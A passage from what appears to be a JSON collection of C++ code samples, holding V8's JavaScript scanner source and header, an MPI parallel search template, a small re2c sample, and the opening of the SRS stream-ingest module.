 uc32 first_char = c0_;\n  Advance();\n  AddLiteralChar(first_char);\n\n  // Scan the rest of the identifier characters.\n  while (unicode_cache_->IsIdentifierPart(c0_)) {\n    if (c0_ != '\\\\') {\n      uc32 next_char = c0_;\n      Advance();\n      AddLiteralChar(next_char);\n      continue;\n    }\n    // Fallthrough if no longer able to complete keyword.\n    return ScanIdentifierSuffix(&literal);\n  }\n\n  literal.Complete();\n\n  if (next_.literal_chars->is_ascii()) {\n    Vector<const char> chars = next_.literal_chars->ascii_literal();\n    return KeywordOrIdentifierToken(chars.start(),\n                                    chars.length(),\n                                    harmony_scoping_,\n                                    harmony_modules_);\n  }\n\n  return Token::IDENTIFIER;\n}\n\n\nToken::Value Scanner::ScanIdentifierSuffix(LiteralScope* literal) {\n  // Scan the rest of the identifier characters.\n  while (unicode_cache_->IsIdentifierPart(c0_)) {\n    if (c0_ == '\\\\') {\n      uc32 c = ScanIdentifierUnicodeEscape();\n      // Only allow legal identifier part characters.\n      if (c < 0 ||\n          c == '\\\\' ||\n          !unicode_cache_->IsIdentifierPart(c)) {\n        return Token::ILLEGAL;\n      }\n      AddLiteralChar(c);\n    } else {\n      AddLiteralChar(c0_);\n      Advance();\n    }\n  }\n  literal->Complete();\n\n  return Token::IDENTIFIER;\n}\n\n\nbool Scanner::ScanRegExpPattern(bool seen_equal) {\n  // Scan: ('/' | '/=') RegularExpressionBody '/' RegularExpressionFlags\n  bool in_character_class = false;\n\n  // Previous token is either '/' or '/=', in the second case, the\n  // pattern starts at =.\n  next_.location.beg_pos = source_pos() - (seen_equal ? 2 : 1);\n  next_.location.end_pos = source_pos() - (seen_equal ? 1 : 0);\n\n  // Scan regular expression body: According to ECMA-262, 3rd, 7.8.5,\n  // the scanner should pass uninterpreted bodies to the RegExp\n  // constructor.\n  LiteralScope literal(this);\n  if (seen_equal) {\n    AddLiteralChar('=');\n  }\n\n  while (c0_ != '/' || in_character_class) {\n    if (unicode_cache_->IsLineTerminator(c0_) || c0_ < 0) return false;\n    if (c0_ == '\\\\') {  // Escape sequence.\n      AddLiteralCharAdvance();\n      if (unicode_cache_->IsLineTerminator(c0_) || c0_ < 0) return false;\n      AddLiteralCharAdvance();\n      // If the escape allows more characters, i.e., \\x??, \\u????, or \\c?,\n      // only \"safe\" characters are allowed (letters, digits, underscore),\n      // otherwise the escape isn't valid and the invalid character has\n      // its normal meaning. I.e., we can just continue scanning without\n      // worrying whether the following characters are part of the escape\n      // or not, since any '/', '\\\\' or '[' is guaranteed to not be part\n      // of the escape sequence.\n\n      // TODO(896): At some point, parse RegExps more throughly to capture\n      // octal esacpes in strict mode.\n    } else {  // Unescaped character.\n      if (c0_ == '[') in_character_class = true;\n      if (c0_ == ']') in_character_class = false;\n      AddLiteralCharAdvance();\n    }\n  }\n  Advance();  // consume '/'\n\n  literal.Complete();\n\n  return true;\n}\n\n\nbool Scanner::ScanLiteralUnicodeEscape() {\n  ASSERT(c0_ == '\\\\');\n  uc32 chars_read[6] = {'\\\\', 'u', 0, 0, 0, 0};\n  Advance();\n  int i = 1;\n  if (c0_ == 'u') {\n    i++;\n    while (i < 6) {\n      Advance();\n      if (!IsHexDigit(c0_)) break;\n      chars_read[i] = c0_;\n      i++;\n    }\n  }\n  if (i < 6) {\n    // Incomplete escape. Undo all advances and return false.\n    while (i > 0) {\n      i--;\n      PushBack(chars_read[i]);\n    }\n    return false;\n  }\n  // Complete escape. Add all chars to current literal buffer.\n  for (int i = 0; i < 6; i++) {\n    AddLiteralChar(chars_read[i]);\n  }\n  return true;\n}\n\n\nbool Scanner::ScanRegExpFlags() {\n  // Scan regular expression flags.\n  LiteralScope literal(this);\n  while (unicode_cache_->IsIdentifierPart(c0_)) {\n    if (c0_ != '\\\\') {\n      AddLiteralCharAdvance();\n    } else {\n      if (!ScanLiteralUnicodeEscape()) {\n        break;\n      }\n    }\n  }\n  literal.Complete();\n\n  next_.location.end_pos = source_pos() - 1;\n  return true;\n}\n\n} }  // namespace v8::internal\n"
  },
  {
    "path": "samples/C++/scanner.h",
    "content": "// Copyright 2011 the V8 project authors. All rights reserved.\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n//     * Redistributions of source code must retain the above copyright\n//       notice, this list of conditions and the following disclaimer.\n//     * Redistributions in binary form must reproduce the above\n//       copyright notice, this list of conditions and the following\n//       disclaimer in the documentation and/or other materials provided\n//       with the distribution.\n//     * Neither the name of Google Inc. nor the names of its\n//       contributors may be used to endorse or promote products derived\n//       from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n// Features shared by parsing and pre-parsing scanners.\n\n#ifndef V8_SCANNER_H_\n#define V8_SCANNER_H_\n\n#include \"allocation.h\"\n#include \"char-predicates.h\"\n#include \"checks.h\"\n#include \"globals.h\"\n#include \"token.h\"\n#include \"unicode-inl.h\"\n#include \"utils.h\"\n\nnamespace v8 {\nnamespace internal {\n\n\n// General collection of (multi-)bit-flags that can be passed to scanners and\n// parsers to signify their (initial) mode of operation.\nenum ParsingFlags {\n  kNoParsingFlags = 0,\n  // Embed LanguageMode values in parsing flags, i.e., equivalent to:\n  // CLASSIC_MODE = 0,\n  // STRICT_MODE,\n  // EXTENDED_MODE,\n  kLanguageModeMask = 0x03,\n  kAllowLazy = 0x04,\n  kAllowNativesSyntax = 0x08,\n  kAllowModules = 0x10\n};\n\nSTATIC_ASSERT((kLanguageModeMask & CLASSIC_MODE) == CLASSIC_MODE);\nSTATIC_ASSERT((kLanguageModeMask & STRICT_MODE) == STRICT_MODE);\nSTATIC_ASSERT((kLanguageModeMask & EXTENDED_MODE) == EXTENDED_MODE);\n\n\n// Returns the value (0 .. 15) of a hexadecimal character c.\n// If c is not a legal hexadecimal character, returns a value < 0.\ninline int HexValue(uc32 c) {\n  c -= '0';\n  if (static_cast<unsigned>(c) <= 9) return c;\n  c = (c | 0x20) - ('a' - '0');  // detect 0x11..0x16 and 0x31..0x36.\n  if (static_cast<unsigned>(c) <= 5) return c + 10;\n  return -1;\n}\n\n\n// ---------------------------------------------------------------------\n// Buffered stream of UTF-16 code units, using an internal UTF-16 buffer.\n// A code unit is a 16 bit value representing either a 16 bit code point\n// or one part of a surrogate pair that make a single 21 bit code point.\n\nclass Utf16CharacterStream {\n public:\n  Utf16CharacterStream() : pos_(0) { }\n  virtual ~Utf16CharacterStream() { }\n\n  // Returns and advances past the next UTF-16 code unit in the input\n  // stream. If there are no more code units, it returns a negative\n  // value.\n  inline uc32 Advance() {\n    if (buffer_cursor_ < buffer_end_ || ReadBlock()) {\n      pos_++;\n      return static_cast<uc32>(*(buffer_cursor_++));\n    }\n    // Note: currently the following increment is necessary to avoid a\n    // parser problem! The scanner treats the final kEndOfInput as\n    // a code unit with a position, and does math relative to that\n    // position.\n    pos_++;\n\n    return kEndOfInput;\n  }\n\n  // Return the current position in the code unit stream.\n  // Starts at zero.\n  inline unsigned pos() const { return pos_; }\n\n  // Skips forward past the next code_unit_count UTF-16 code units\n  // in the input, or until the end of input if that comes sooner.\n  // Returns the number of code units actually skipped. If less\n  // than code_unit_count,\n  inline unsigned SeekForward(unsigned code_unit_count) {\n    unsigned buffered_chars =\n        static_cast<unsigned>(buffer_end_ - buffer_cursor_);\n    if (code_unit_count <= buffered_chars) {\n      buffer_cursor_ += code_unit_count;\n      pos_ += code_unit_count;\n      return code_unit_count;\n    }\n    return SlowSeekForward(code_unit_count);\n  }\n\n  // Pushes back the most recently read UTF-16 code unit (or negative\n  // value if at end of input), i.e., the value returned by the most recent\n  // call to Advance.\n  // Must not be used right after calling SeekForward.\n  virtual void PushBack(int32_t code_unit) = 0;\n\n protected:\n  static const uc32 kEndOfInput = -1;\n\n  // Ensures that the buffer_cursor_ points to the code_unit at\n  // position pos_ of the input, if possible. If the position\n  // is at or after the end of the input, return false. If there\n  // are more code_units available, return true.\n  virtual bool ReadBlock() = 0;\n  virtual unsigned SlowSeekForward(unsigned code_unit_count) = 0;\n\n  const uc16* buffer_cursor_;\n  const uc16* buffer_end_;\n  unsigned pos_;\n};\n\n\nclass UnicodeCache {\n// ---------------------------------------------------------------------\n// Caching predicates used by scanners.\n public:\n  UnicodeCache() {}\n  typedef unibrow::Utf8InputBuffer<1024> Utf8Decoder;\n\n  StaticResource<Utf8Decoder>* utf8_decoder() {\n    return &utf8_decoder_;\n  }\n\n  bool IsIdentifierStart(unibrow::uchar c) { return kIsIdentifierStart.get(c); }\n  bool IsIdentifierPart(unibrow::uchar c) { return kIsIdentifierPart.get(c); }\n  bool IsLineTerminator(unibrow::uchar c) { return kIsLineTerminator.get(c); }\n  bool IsWhiteSpace(unibrow::uchar c) { return kIsWhiteSpace.get(c); }\n\n private:\n  unibrow::Predicate<IdentifierStart, 128> kIsIdentifierStart;\n  unibrow::Predicate<IdentifierPart, 128> kIsIdentifierPart;\n  unibrow::Predicate<unibrow::LineTerminator, 128> kIsLineTerminator;\n  unibrow::Predicate<unibrow::WhiteSpace, 128> kIsWhiteSpace;\n  StaticResource<Utf8Decoder> utf8_decoder_;\n\n  DISALLOW_COPY_AND_ASSIGN(UnicodeCache);\n};\n\n\n// ----------------------------------------------------------------------------\n// LiteralBuffer -  Collector of chars of literals.\n\nclass LiteralBuffer {\n public:\n  LiteralBuffer() : is_ascii_(true), position_(0), backing_store_() { }\n\n  ~LiteralBuffer() {\n    if (backing_store_.length() > 0) {\n      backing_store_.Dispose();\n    }\n  }\n\n  INLINE(void AddChar(uint32_t code_unit)) {\n    if (position_ >= backing_store_.length()) ExpandBuffer();\n    if (is_ascii_) {\n      if (code_unit < kMaxAsciiCharCodeU) {\n        backing_store_[position_] = static_cast<byte>(code_unit);\n        position_ += kASCIISize;\n        return;\n      }\n      ConvertToUtf16();\n    }\n    ASSERT(code_unit < 0x10000u);\n    *reinterpret_cast<uc16*>(&backing_store_[position_]) = code_unit;\n    position_ += kUC16Size;\n  }\n\n  bool is_ascii() { return is_ascii_; }\n\n  Vector<const uc16> utf16_literal() {\n    ASSERT(!is_ascii_);\n    ASSERT((position_ & 0x1) == 0);\n    return Vector<const uc16>(\n        reinterpret_cast<const uc16*>(backing_store_.start()),\n        position_ >> 1);\n  }\n\n  Vector<const char> ascii_literal() {\n    ASSERT(is_ascii_);\n    return Vector<const char>(\n        reinterpret_cast<const char*>(backing_store_.start()),\n        position_);\n  }\n\n  int length() {\n    return is_ascii_ ? position_ : (position_ >> 1);\n  }\n\n  void Reset() {\n    position_ = 0;\n    is_ascii_ = true;\n  }\n\n private:\n  static const int kInitialCapacity = 16;\n  static const int kGrowthFactory = 4;\n  static const int kMinConversionSlack = 256;\n  static const int kMaxGrowth = 1 * MB;\n  inline int NewCapacity(int min_capacity) {\n    int capacity = Max(min_capacity, backing_store_.length());\n    int new_capacity = Min(capacity * kGrowthFactory, capacity + kMaxGrowth);\n    return new_capacity;\n  }\n\n  void ExpandBuffer() {\n    Vector<byte> new_store = Vector<byte>::New(NewCapacity(kInitialCapacity));\n    memcpy(new_store.start(), backing_store_.start(), position_);\n    backing_store_.Dispose();\n    backing_store_ = new_store;\n  }\n\n  void ConvertToUtf16() {\n    ASSERT(is_ascii_);\n    Vector<byte> new_store;\n    int new_content_size = position_ * kUC16Size;\n    if (new_content_size >= backing_store_.length()) {\n      // Ensure room for all currently read code units as UC16 as well\n      // as the code unit about to be stored.\n      new_store = Vector<byte>::New(NewCapacity(new_content_size));\n    } else {\n      new_store = backing_store_;\n    }\n    char* src = reinterpret_cast<char*>(backing_store_.start());\n    uc16* dst = reinterpret_cast<uc16*>(new_store.start());\n    for (int i = position_ - 1; i >= 0; i--) {\n      dst[i] = src[i];\n    }\n    if (new_store.start() != backing_store_.start()) {\n      backing_store_.Dispose();\n      backing_store_ = new_store;\n    }\n    position_ = new_content_size;\n    is_ascii_ = false;\n  }\n\n  bool is_ascii_;\n  int position_;\n  Vector<byte> backing_store_;\n\n  DISALLOW_COPY_AND_ASSIGN(LiteralBuffer);\n};\n\n\n// ----------------------------------------------------------------------------\n// JavaScript Scanner.\n\nclass Scanner {\n public:\n  // Scoped helper for literal recording. Automatically drops the literal\n  // if aborting the scanning before it's complete.\n  class LiteralScope {\n   public:\n    explicit LiteralScope(Scanner* self)\n        : scanner_(self), complete_(false) {\n      scanner_->StartLiteral();\n    }\n     ~LiteralScope() {\n       if (!complete_) scanner_->DropLiteral();\n     }\n    void Complete() {\n      scanner_->TerminateLiteral();\n      complete_ = true;\n    }\n\n   private:\n    Scanner* scanner_;\n    bool complete_;\n  };\n\n  // Representation of an interval of source positions.\n  struct Location {\n    Location(int b, int e) : beg_pos(b), end_pos(e) { }\n    Location() : beg_pos(0), end_pos(0) { }\n\n    bool IsValid() const {\n      return beg_pos >= 0 && end_pos >= beg_pos;\n    }\n\n    static Location invalid() { return Location(-1, -1); }\n\n    int beg_pos;\n    int end_pos;\n  };\n\n  // -1 is outside of the range of any real source code.\n  static const int kNoOctalLocation = -1;\n\n  typedef unibrow::Utf8InputBuffer<1024> Utf8Decoder;\n\n  explicit Scanner(UnicodeCache* scanner_contants);\n\n  void Initialize(Utf16CharacterStream* source);\n\n  // Returns the next token and advances input.\n  Token::Value Next();\n  // Returns the current token again.\n  Token::Value current_token() { return current_.token; }\n  // Returns the location information for the current token\n  // (the token last returned by Next()).\n  Location location() const { return current_.location; }\n  // Returns the literal string, if any, for the current token (the\n  // token last returned by Next()). The string is 0-terminated.\n  // Literal strings are collected for identifiers, strings, and\n  // numbers.\n  // These functions only give the correct result if the literal\n  // was scanned between calls to StartLiteral() and TerminateLiteral().\n  Vector<const char> literal_ascii_string() {\n    ASSERT_NOT_NULL(current_.literal_chars);\n    return current_.literal_chars->ascii_literal();\n  }\n  Vector<const uc16> literal_utf16_string() {\n    ASSERT_NOT_NULL(current_.literal_chars);\n    return current_.literal_chars->utf16_literal();\n  }\n  bool is_literal_ascii() {\n    ASSERT_NOT_NULL(current_.literal_chars);\n    return current_.literal_chars->is_ascii();\n  }\n  int literal_length() const {\n    ASSERT_NOT_NULL(current_.literal_chars);\n    return current_.literal_chars->length();\n  }\n\n  bool literal_contains_escapes() const {\n    Location location = current_.location;\n    int source_length = (location.end_pos - location.beg_pos);\n    if (current_.token == Token::STRING) {\n      // Subtract delimiters.\n      source_length -= 2;\n    }\n    return current_.literal_chars->length() != source_length;\n  }\n\n  // Similar functions for the upcoming token.\n\n  // One token look-ahead (past the token returned by Next()).\n  Token::Value peek() const { return next_.token; }\n\n  Location peek_location() const { return next_.location; }\n\n  // Returns the literal string for the next token (the token that\n  // would be returned if Next() were called).\n  Vector<const char> next_literal_ascii_string() {\n    ASSERT_NOT_NULL(next_.literal_chars);\n    return next_.literal_chars->ascii_literal();\n  }\n  Vector<const uc16> next_literal_utf16_string() {\n    ASSERT_NOT_NULL(next_.literal_chars);\n    return next_.literal_chars->utf16_literal();\n  }\n  bool is_next_literal_ascii() {\n    ASSERT_NOT_NULL(next_.literal_chars);\n    return next_.literal_chars->is_ascii();\n  }\n  int next_literal_length() const {\n    ASSERT_NOT_NULL(next_.literal_chars);\n    return next_.literal_chars->length();\n  }\n\n  UnicodeCache* unicode_cache() { return unicode_cache_; }\n\n  static const int kCharacterLookaheadBufferSize = 1;\n\n  // Scans octal escape sequence. Also accepts \"\\0\" decimal escape sequence.\n  uc32 ScanOctalEscape(uc32 c, int length);\n\n  // Returns the location of the last seen octal literal.\n  Location octal_position() const { return octal_pos_; }\n  void clear_octal_position() { octal_pos_ = Location::invalid(); }\n\n  // Seek forward to the given position.  This operation does not\n  // work in general, for instance when there are pushed back\n  // characters, but works for seeking forward until simple delimiter\n  // tokens, which is what it is used for.\n  void SeekForward(int pos);\n\n  bool HarmonyScoping() const {\n    return harmony_scoping_;\n  }\n  void SetHarmonyScoping(bool scoping) {\n    harmony_scoping_ = scoping;\n  }\n  bool HarmonyModules() const {\n    return harmony_modules_;\n  }\n  void SetHarmonyModules(bool modules) {\n    harmony_modules_ = modules;\n  }\n\n\n  // Returns true if there was a line terminator before the peek'ed token,\n  // possibly inside a multi-line comment.\n  bool HasAnyLineTerminatorBeforeNext() const {\n    return has_line_terminator_before_next_ ||\n           has_multiline_comment_before_next_;\n  }\n\n  // Scans the input as a regular expression pattern, previous\n  // character(s) must be /(=). Returns true if a pattern is scanned.\n  bool ScanRegExpPattern(bool seen_equal);\n  // Returns true if regexp flags are scanned (always since flags can\n  // be empty).\n  bool ScanRegExpFlags();\n\n  // Tells whether the buffer contains an identifier (no escapes).\n  // Used for checking if a property name is an identifier.\n  static bool IsIdentifier(unibrow::CharacterStream* buffer);\n\n private:\n  // The current and look-ahead token.\n  struct TokenDesc {\n    Token::Value token;\n    Location location;\n    LiteralBuffer* literal_chars;\n  };\n\n  // Call this after setting source_ to the input.\n  void Init() {\n    // Set c0_ (one character ahead)\n    STATIC_ASSERT(kCharacterLookaheadBufferSize == 1);\n    Advance();\n    // Initialize current_ to not refer to a literal.\n    current_.literal_chars = NULL;\n  }\n\n  // Literal buffer support\n  inline void StartLiteral() {\n    LiteralBuffer* free_buffer = (current_.literal_chars == &literal_buffer1_) ?\n            &literal_buffer2_ : &literal_buffer1_;\n    free_buffer->Reset();\n    next_.literal_chars = free_buffer;\n  }\n\n  INLINE(void AddLiteralChar(uc32 c)) {\n    ASSERT_NOT_NULL(next_.literal_chars);\n    next_.literal_chars->AddChar(c);\n  }\n\n  // Complete scanning of a literal.\n  inline void TerminateLiteral() {\n    // Does nothing in the current implementation.\n  }\n\n  // Stops scanning of a literal and drop the collected characters,\n  // e.g., due to an encountered error.\n  inline void DropLiteral() {\n    next_.literal_chars = NULL;\n  }\n\n  inline void AddLiteralCharAdvance() {\n    AddLiteralChar(c0_);\n    Advance();\n  }\n\n  // Low-level scanning support.\n  void Advance() { c0_ = source_->Advance(); }\n  void PushBack(uc32 ch) {\n    source_->PushBack(c0_);\n    c0_ = ch;\n  }\n\n  inline Token::Value Select(Token::Value tok) {\n    Advance();\n    return tok;\n  }\n\n  inline Token::Value Select(uc32 next, Token::Value then, Token::Value else_) {\n    Advance();\n    if (c0_ == next) {\n      Advance();\n      return then;\n    } else {\n      return else_;\n    }\n  }\n\n  uc32 ScanHexNumber(int expected_length);\n\n  // Scans a single JavaScript token.\n  void Scan();\n\n  bool SkipWhiteSpace();\n  Token::Value SkipSingleLineComment();\n  Token::Value SkipMultiLineComment();\n  // Scans a possible HTML comment -- begins with '<!'.\n  Token::Value ScanHtmlComment();\n\n  void ScanDecimalDigits();\n  Token::Value ScanNumber(bool seen_period);\n  Token::Value ScanIdentifierOrKeyword();\n  Token::Value ScanIdentifierSuffix(LiteralScope* literal);\n\n  Token::Value ScanString();\n\n  // Scans an escape-sequence which is part of a string and adds the\n  // decoded character to the current literal. Returns true if a pattern\n  // is scanned.\n  bool ScanEscape();\n  // Decodes a Unicode escape-sequence which is part of an identifier.\n  // If the escape sequence cannot be decoded the result is kBadChar.\n  uc32 ScanIdentifierUnicodeEscape();\n  // Scans a Unicode escape-sequence and adds its characters,\n  // uninterpreted, to the current literal. Used for parsing RegExp\n  // flags.\n  bool ScanLiteralUnicodeEscape();\n\n  // Return the current source position.\n  int source_pos() {\n    return source_->pos() - kCharacterLookaheadBufferSize;\n  }\n\n  UnicodeCache* unicode_cache_;\n\n  // Buffers collecting literal strings, numbers, etc.\n  LiteralBuffer literal_buffer1_;\n  LiteralBuffer literal_buffer2_;\n\n  TokenDesc current_;  // desc for current token (as returned by Next())\n  TokenDesc next_;     // desc for next token (one token look-ahead)\n\n  // Input stream. Must be initialized to an Utf16CharacterStream.\n  Utf16CharacterStream* source_;\n\n\n  // Start position of the octal literal last scanned.\n  Location octal_pos_;\n\n  // One Unicode character look-ahead; c0_ < 0 at the end of the input.\n  uc32 c0_;\n\n  // Whether there is a line terminator whitespace character after\n  // the current token, and  before the next. Does not count newlines\n  // inside multiline comments.\n  bool has_line_terminator_before_next_;\n  // Whether there is a multi-line comment that contains a\n  // line-terminator after the current token, and before the next.\n  bool has_multiline_comment_before_next_;\n  // Whether we scan 'let' as a keyword for harmony block-scoped let bindings.\n  bool harmony_scoping_;\n  // Whether we scan 'module', 'import', 'export' as keywords.\n  bool harmony_modules_;\n};\n\n} }  // namespace v8::internal\n\n#endif  // V8_SCANNER_H_\n"
  },
  {
    "path": "samples/C++/search.txx",
    "content": "\n#ifdef __DEBUG__\n#ifndef __DEBUG_PAR__\n#define __DEBUG_PAR__\n#endif\n#endif\n\n/**\n@file search.txx\n@brief Parallel Search Function\n@author Rahul S. Sampath, rahul.sampath@gmail.com\n*/\n\nnamespace par {\n\t\n\ttemplate <typename T>\n\tint maxLowerBound(const std::vector<T> & keys, const std::vector<T> & searchList,\nstd::vector<T> & results, MPI_Comm comm) {\n\t\tPROF_SEARCH_BEGIN\n\n\t\tint rank, npes;\n\n\t\tMPI_Comm_size(comm, &npes);\n\t\tMPI_Comm_rank(comm, &rank);\n\n\t\t// allocate memory for the mins array\n\t\tstd::vector<T> mins (npes);\n\t\tassert(!searchList.empty());\n\n\t\tpar::MPI_Allgather<T>( &(*searchList.begin()), &(*mins.begin()), 1, comm);\n\n\t\t//For each key decide which processor to send to\n\t\tunsigned int *part = new unsigned int[keys.size()];\n\t\tfor ( unsigned int i=0; i<keys.size(); i++ ) {\n\t\t\t//maxLB returns the smallest index in a sorted array such that a[ind] <= key and  a[index +1] > key\n\t\t\tbool found = par::maxLowerBound<T>(mins,keys[i], part+i);\n\t\t\tif ( !found ) {\n\t\t\t\t//This key is smaller than the mins from every processor.\n\t\t\t\t//No point in searching.\n\t\t\t\tpart[i] = rank;\n\t\t\t}\n\t\t}\n\t\tmins.clear();\n\n\t\tint *numKeysSend = new int[npes];\n\t\tint *numKeysRecv = new int[npes];\n\t\tfor ( int i=0; i<npes; i++ )\n\t\t\tnumKeysSend[i] = 0;\n\t\t// calculate the number of keys to send ...\n\t\tfor ( unsigned int i=0; i<keys.size(); i++ )\n\t\t\tnumKeysSend[part[i]]++;\n\n\t\t// Now do an All2All to get numKeysRecv\n\t\tpar::MPI_Alltoall(numKeysSend, 1, MPI_INT, numKeysRecv, 1, MPI_INT, comm);\n\n\t\tunsigned int totalKeys=0;\t// total number of local keys ...\n\t\tfor ( int i=0; i<npes; i++ )\n\t\t\ttotalKeys += numKeysRecv[i];\n\n\t\t// create the send and recv buffers ...\n\t\tstd::vector<T> sendK (keys.size());\n\t\tstd::vector<T> recvK (totalKeys);\n\t\t// the mapping ..\n\t\tunsigned int * comm_map = new unsigned int [keys.size()];\n\n\t\t// Now create sendK\n\t\tint *sendOffsets = new int[npes]; sendOffsets[0] = 0;\n\t\tint *recvOffsets = new int[npes]; recvOffsets[0] = 0;\n\t\tint *numKeysTmp = new int[npes]; numKeysTmp[0] = 0; \n\n\t\t// compute offsets ...\n\t\tfor ( int i=1; i<npes; i++ ) {\n\t\t\tsendOffsets[i] = sendOffsets[i-1] + numKeysSend[i-1];\n\t\t\trecvOffsets[i] = recvOffsets[i-1] + numKeysRecv[i-1];\n\t\t\tnumKeysTmp[i] = 0; \n\t\t}\n\n\t\tfor ( unsigned int i=0; i< keys.size(); i++ ) {\n\t\t\tunsigned int ni = numKeysTmp[part[i]];\n\t\t\tnumKeysTmp[part[i]]++;\n\t\t\t// set entry ...\n\t\t\tsendK[sendOffsets[part[i]] + ni] = keys[i];\n\t\t\t// save mapping .. will need it later ...\n\t\t\tcomm_map[i] = sendOffsets[part[i]] + ni;\n\t\t}\n\t\tdelete [] part;\n\t\tdelete [] numKeysTmp;\n\n\n\t\tpar::MPI_Alltoallv_sparse((void *)&(*sendK.begin()), numKeysSend,\n                sendOffsets,par::Mpi_datatype<T>::value(), \n                &(*recvK.begin()), numKeysRecv, recvOffsets,\n                par::Mpi_datatype<T>::value(), comm);\n\n\n\t\tstd::vector<T>  resSend (totalKeys);\n\t\tstd::vector<T>  resRecv (keys.size());\n\n\t\t//Final local search.\n\t\tfor ( unsigned int i=0; i<totalKeys;i++) {\n\t\t\tunsigned int idx;\n\t\t\tbool found = par::maxLowerBound<T>( searchList, recvK[i], &idx );\n\t\t\tif(found) {\n\t\t\t\tresSend[i] = searchList[idx];\n\t\t\t}\n\t\t}//end for i\n\n\t\t//Exchange Results\n\t\t//Return what you received in the earlier communication.\n\t\tpar::MPI_Alltoallv_sparse((void*)&(*resSend.begin()), numKeysRecv,\n                recvOffsets,par::Mpi_datatype<T>::value(), \n                &(*resRecv.begin()), numKeysSend, sendOffsets,\n                par::Mpi_datatype<T>::value(), comm);\n\n\t\tdelete [] sendOffsets;\n\t\tdelete [] recvOffsets;\n\t\tdelete [] numKeysSend;\n\t\tdelete [] numKeysRecv;\n\n\t\tfor ( unsigned int i=0; i < keys.size(); i++ ) {\n\t\t\tresults[i] = resRecv[comm_map[i]];  \n\t\t}//end for\n\n\t\t// Clean up ...\n\t\tdelete [] comm_map;\n\n\t\tPROF_SEARCH_END\n\t}\n\n\n}//end namespace\n\n"
  },
  {
    "path": "samples/C++/simple.re",
    "content": "#define\tNULL\t\t((char*) 0)\nchar *scan(char *p){\nchar *q;\n#define\tYYCTYPE\t\tchar\n#define\tYYCURSOR\tp\n#define\tYYLIMIT\t\tp\n#define\tYYMARKER\tq\n#define\tYYFILL(n)\n/*!re2c\n\t[0-9]+\t\t{return YYCURSOR;}\n\t[\\000-\\377]\t{return NULL;}\n*/\n}\n"
  },
  {
    "path": "samples/C++/srs_app_ingest.cpp",
    "content": "/*\nThe MIT License (MIT)\n\nCopyright (c) 2013-2015 SRS(ossrs)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*/\n\n// Source - https://github.com/REN-I/srs/blob/3aae7854702a37955bce706fcd8122b02ac07f53/trunk/src/app/srs_app_ingest.cpp\n\n#include <srs_app_ingest.hpp>\n\n#ifdef SRS_AUTO_INGEST\n\n#include <stdlib.h>\nusing namespace std;\n\n#include <srs_kernel_error.hpp>\n#include <srs_app_config.hpp>\n#include <srs_kernel_log.hpp>\n#include <srs_app_ffmpeg.hpp>\n#include <srs_app_pithy_print.hpp>\n#include <srs_kernel_utility.hpp>\n#include <srs_app_utility.hpp>\n\n// when error, ingester sleep for a while and retry.\n// ingest never sleep a long time, for we must start the stream ASAP.\n#define SRS_AUTO_INGESTER_SLEEP_US (int64_t)(3*1000*1000LL)\n\nSrsIngesterFFMPEG::SrsIngesterFFMPEG()\n{\n    ffmpeg = NULL;\n}\n\nSrsIngesterFFMPEG::~SrsIngesterFFMPEG()\n{\n    srs_freep(ffmpeg);\n}\n\nint SrsIngesterFFMPEG::initialize(SrsFFMPEG* ff, string v, string i)\n{\n    int ret = ERROR_SUCCESS;\n    \n    ffmpeg = ff;\n    vhost = v;\n    id = i;\n    starttime = srs_get_system_time_ms();\n    \n    return ret;\n}\n\nstring SrsIngesterFFMPEG::uri()\n{\n    return vhost + \"/\" + id;\n}\n\nint SrsIngesterFFMPEG::alive()\n{\n    return (int)(srs_get_system_time_ms() - starttime);\n}\n\nbool SrsIngesterFFMPEG::equals(string v)\n{\n    return vhost == v;\n}\n\nbool SrsIngesterFFMPEG::equals(string v, string i)\n{\n    return vhost == v && id == i;\n}\n\nint SrsIngesterFFMPEG::start()\n{\n    return ffmpeg->start();\n}\n\nvoid SrsIngesterFFMPEG::stop()\n{\n    ffmpeg->stop();\n}\n\nint SrsIngesterFFMPEG::cycle()\n{\n    return ffmpeg->cycle();\n}\n\nvoid SrsIngesterFFMPEG::fast_stop()\n{\n    ffmpeg->fast_stop();\n}\n\nSrsIngester::SrsIngester()\n{\n    _srs_config->subscribe(this);\n    \n    pthread = new SrsReusableThread(\"ingest\", this, SRS_AUTO_INGESTER_SLEEP_US);\n    pprint = 